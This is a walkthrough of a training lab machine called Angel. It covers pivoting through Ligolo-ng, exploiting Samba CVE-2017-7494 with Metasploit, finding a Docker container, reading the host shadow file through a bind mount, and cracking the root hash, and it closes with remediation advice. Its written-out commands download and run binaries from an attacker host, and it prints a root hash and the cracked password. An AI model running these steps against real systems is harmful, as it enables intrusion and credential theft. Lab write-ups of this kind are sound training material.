← all writeups

Angel: Pivoting, SambaCry, and a Container Breakout

Medium Linux pivotingligolo-ngsmbcve-2017-7494docker-breakouthash-cracking

Machine

Angel

Platform

Spartan Labs — CPPJ 101 (Professional Junior Pentesting Course)

Author

gerhsec (Gerardo Eliasib Rueda) — Spartan Cybersecurity

Released

July 11, 2026

Writeup published

July 13, 2026

Lab

Spartan Cybersecurity — CPPJ 101

Prerequisite

Editorial / Imprenta (required to pivot into this machine)

Objective

Angel is a medium-rated Linux machine from Spartan Cybersecurity’s CPPJ 101 lab set, and it is deliberately not reachable from the public network. It only exists on an internal segment that opens up once Editorial / Imprenta has already been compromised — so that writeup is a hard prerequisite for this one, not just recommended reading.

In the machine author’s own words, once inside the internal network the objective is to “exploit a shared network resource, abuse a misconfigured container, and crack the host’s hash offline to take the first target after the pivot.” That’s exactly the shape of this engagement: a network pivot, a pre-authentication RCE against Samba, an unexpected landing inside a Docker container instead of on the real host, and a final offline password-cracking step to reach the actual target machine.

If you want to attempt this lab yourself, it’s part of Spartan Cybersecurity’s Professional Junior Pentesting Course (CPPJ 101).

Pivoting from Editorial into the Internal Network

Angel sits on 10.10.12.113, on a network segment the attacking machine cannot route to directly. From a root shell on Editorial (obtained in the prerequisite writeup), a ping to Angel succeeds — confirming Editorial has a leg into that internal segment:

ping -c 1 10.10.12.113

The same ping issued directly from the attacking machine times out, confirming Angel is not routable without a pivot:

Ligolo-ng is used to build that pivot. A proxy is started on the attacking machine:

cd /opt/spartan-ops/bin
sudo ./ligolo-proxy -selfcert

The matching ligolo-agent binary is served over HTTP so it can be pulled onto Editorial:

python3 -m http.server 8000

Back on Editorial (as root), the agent is downloaded and connected to the proxy:

curl http://10.10.101.154:8000/ligolo-agent -o /tmp/agent
chmod +x /tmp/agent
/tmp/agent -connect 10.10.101.154:11601 -ignore-cert

With the agent connected, a route to Angel’s subnet is added on the attacking machine and the tunnel is started from the ligolo console:

sudo ip route add 10.10.12.0/24 dev ligolo

session
? Specify a session: 1 - root@editorial - ...
start

A final ping confirms the pivot is live — Angel is now reachable through Editorial:

ping -c 1 10.10.12.113

Reconnaissance

With routing in place, a full port scan is run against Angel through the tunnel:

sudo nmap -p- 10.10.12.113 -sS -sC -sV -T5 -n -Pn -vvv

Only two services are exposed:

Port	Service	Version
22	SSH	OpenSSH 8.4p1 Debian 5+deb11u1
445	netbios-ssn	Samba smbd 4.6.3 (workgroup: SPARTAN)

Samba 4.6.3 immediately stands out — it falls inside the vulnerable range for a well-known, critical remote code execution vulnerability, which is confirmed later in this writeup.

Enumeration

SMB Shares

The available shares are listed with an anonymous (null) session:

smbclient -N -L //10.10.12.113

The backups share allows anonymous, unauthenticated access. Connecting to it and listing its contents reveals a single file:

smbclient //10.10.12.113/backups
smb: \> ls
smb: \> lcd /tmp
smb: \> get test.txt

cat test.txt

The file itself has no direct value, but it proves something more important for the next phase: the backups share is writable by an anonymous/guest session — which is exactly the precondition needed for the Samba vulnerability affecting this version.

Exploitation: CVE-2017-7494 (“SambaCry”)

Samba versions 3.5.0 through 4.6.4 (before 4.4.14 / 4.5.10 / 4.6.4) are vulnerable to CVE-2017-7494 — critical (CVSS 9.8), remote, unauthenticated code execution. A malicious client can upload a shared library to a writable share and then coerce the server into loading it via a named pipe, executing arbitrary code with the privileges of the smbd process (commonly root).

Metasploit ships a ready-made module for this exact vulnerability:

msfconsole -q
msf > search CVE-2017-7494
msf > use 0

msf exploit(linux/samba/is_known_pipename) > show options
msf exploit(linux/samba/is_known_pipename) > set RHOSTS 10.10.12.113
msf exploit(linux/samba/is_known_pipename) > run

The exploit uploads a shared object to the writable backups share, forces smbd to load it via a named pipe, and returns a command shell running as root:

A quick look around confirms the first flag on this host:

cd /root
cat lowpriv.txt

Getting root this easily — directly from an unauthenticated RCE — is a strong hint that this isn’t the “real” host yet. That suspicion is confirmed in the next phase.

Post-Exploitation: Identifying the Docker Container

Because the attacking machine still has no direct route to Angel (only Editorial does), getting LinPEAS onto the target requires a second relay hop: attacker → Editorial → Angel.

The attacker serves LinPEAS locally:

python3 -m http.server 8000

From an SSH session on Editorial (as admin, reusing the private key from the prerequisite writeup), a second relay server is started to bridge the file over to Angel:

ssh admin@blog.editorial -i id_rsa
mkdir peas && cd peas
curl http://10.10.101.154:8000/linpeas.sh -o linpeas.sh
python3 -m http.server 8000

Back in the Metasploit shell on Angel — which only has a minimal Python 2-style environment available — the script is pulled from Editorial’s relay and executed:

python -c "import urllib;urllib.urlretrieve('http://10.10.11.103:8000/linpeas.sh','/tmp/linpeas.sh')"
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

LinPEAS immediately flags the environment as a Docker container (presence of /.dockerenv and a matching systemd container marker):

Cross-referencing this with the earlier nmap result is telling: SSH on port 22 was seen from the outside, but the container’s own listening sockets only show 139/445 — port 22 belongs to the underlying Docker host, not to this container:

Escaping the Container’s View via a Mounted Host Partition

Digging through LinPEAS’s filesystem findings turns up something far more useful than a kernel exploit or a SUID binary: an interesting mount point. The container has /host_etc bound to /dev/nvme0n1p1 — the underlying host’s real root partition — mounted as ext4:

This is a classic container misconfiguration: a host path was bind-mounted into the container, effectively handing over read access to the host’s entire /etc directory — including its shadow password file. Confirming the hostname makes it clear this belongs to a different, “real” machine:

ls -la /host_etc
cat /host_etc/hostname

And, critically, the shadow file itself is readable:

cat /host_etc/shadow

Privilege Escalation: Offline Hash Cracking

With the host’s root hash in hand, the next step is offline cracking rather than any further remote exploitation. The hash is saved locally and run through hashcat in sha512crypt mode against rockyou.txt:

echo 'root:$6$J2I2B/9W$r8.DJ7Nt6QvPHbmN429Jf.DQekUUwCioArcu1nUrKDbJmAkMdUORCPiB3fwt4FPN0qfQXHfTRBS1sze.8ak.4/:20580:0:99999:7:::' > hash.txt
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt

The wordlist attack succeeds in a matter of minutes:

Reaching the Real Host

Armed with valid root credentials, the actual host behind the container — the one that answered on port 22 during the initial scan — is reached directly over SSH, bypassing the container entirely:

ssh root@10.10.12.113
cat highpriv.txt

The hostname banner confirms this is the genuine angel host, and the final flag is retrieved, completing the engagement.

Attack Chain Summary

#	Phase	Exploitation Vector	Impact
1	Pivoting	Reused root access on Editorial + Ligolo-ng tunneling to reach the internal 10.10.12.0/24 segment	Network access to the otherwise unreachable Angel host
2	Enumeration	Anonymous/guest access to a writable SMB share (backups)	Confirmed a viable upload path for exploitation
3	Exploitation	CVE-2017-7494 (SambaCry) against Samba 4.6.3 via is_known_pipename	Unauthenticated remote code execution as root
4	Post-Exploitation	LinPEAS enumeration revealing the shell was inside a Docker container	Correct scoping of the actual attack surface
5	Container Misconfiguration	Host root partition bind-mounted into the container at /host_etc (readable shadow file)	Disclosure of the host’s root password hash
6	Privilege Escalation	Offline cracking of the sha512crypt hash with hashcat + rockyou.txt	Valid root credentials for the real host
7	Full Compromise	SSH authentication as root directly to the underlying host	Complete compromise of the host behind the container

The most interesting lesson here isn’t the SambaCry exploit itself — it’s well documented and nearly a decade old — but the fact that gaining root didn’t actually mean gaining the target. Recognizing the container boundary, and then finding the specific misconfiguration (a bind-mounted host path) needed to cross it, was the real challenge of this box.

Remediation & Hardening Recommendations

• Patch Samba. CVE-2017-7494 has been fixed since 2017 (4.6.4 / 4.5.10 / 4.4.14). Running 4.6.3 in 2026 reflects a missing patch-management process, not a lack of available fixes.
• Never allow anonymous write access to SMB shares. The backups share being both guest-accessible and writable is what turned a patchable vulnerability into a working exploit. Require authentication and restrict write access to the specific accounts that need it.
• Never bind-mount host paths into containers unless strictly required, and if it is required, mount them read-only and scope them to the narrowest possible subdirectory. /host_etc exposing the entire host /etc, shadow included, defeats the purpose of container isolation entirely.
• Avoid weak, dictionary-based passwords for privileged accounts, even on internal-only hosts. Spartans1 falls to a standard rockyou.txt attack in minutes. Internal segmentation is not a substitute for credential hygiene — this same host was reachable the moment a pivot existed.
• Treat internal network segments as hostile once any host on them is compromised. Angel was placed on a network unreachable from the internet, but that boundary meant nothing after Editorial fell — reinforcing the need for east-west segmentation and monitoring, not just perimeter controls.

Key Takeaways

Angel is a good example of a multi-stage internal engagement: a pivot to even reach the target, a still-relevant public CVE to get initial code execution, and a container misconfiguration that had to be recognized and worked around before the “real” privilege escalation — cracking a password hash — could happen. Each stage depended on correctly identifying what had actually been compromised (a container, not a host) before deciding what to do next.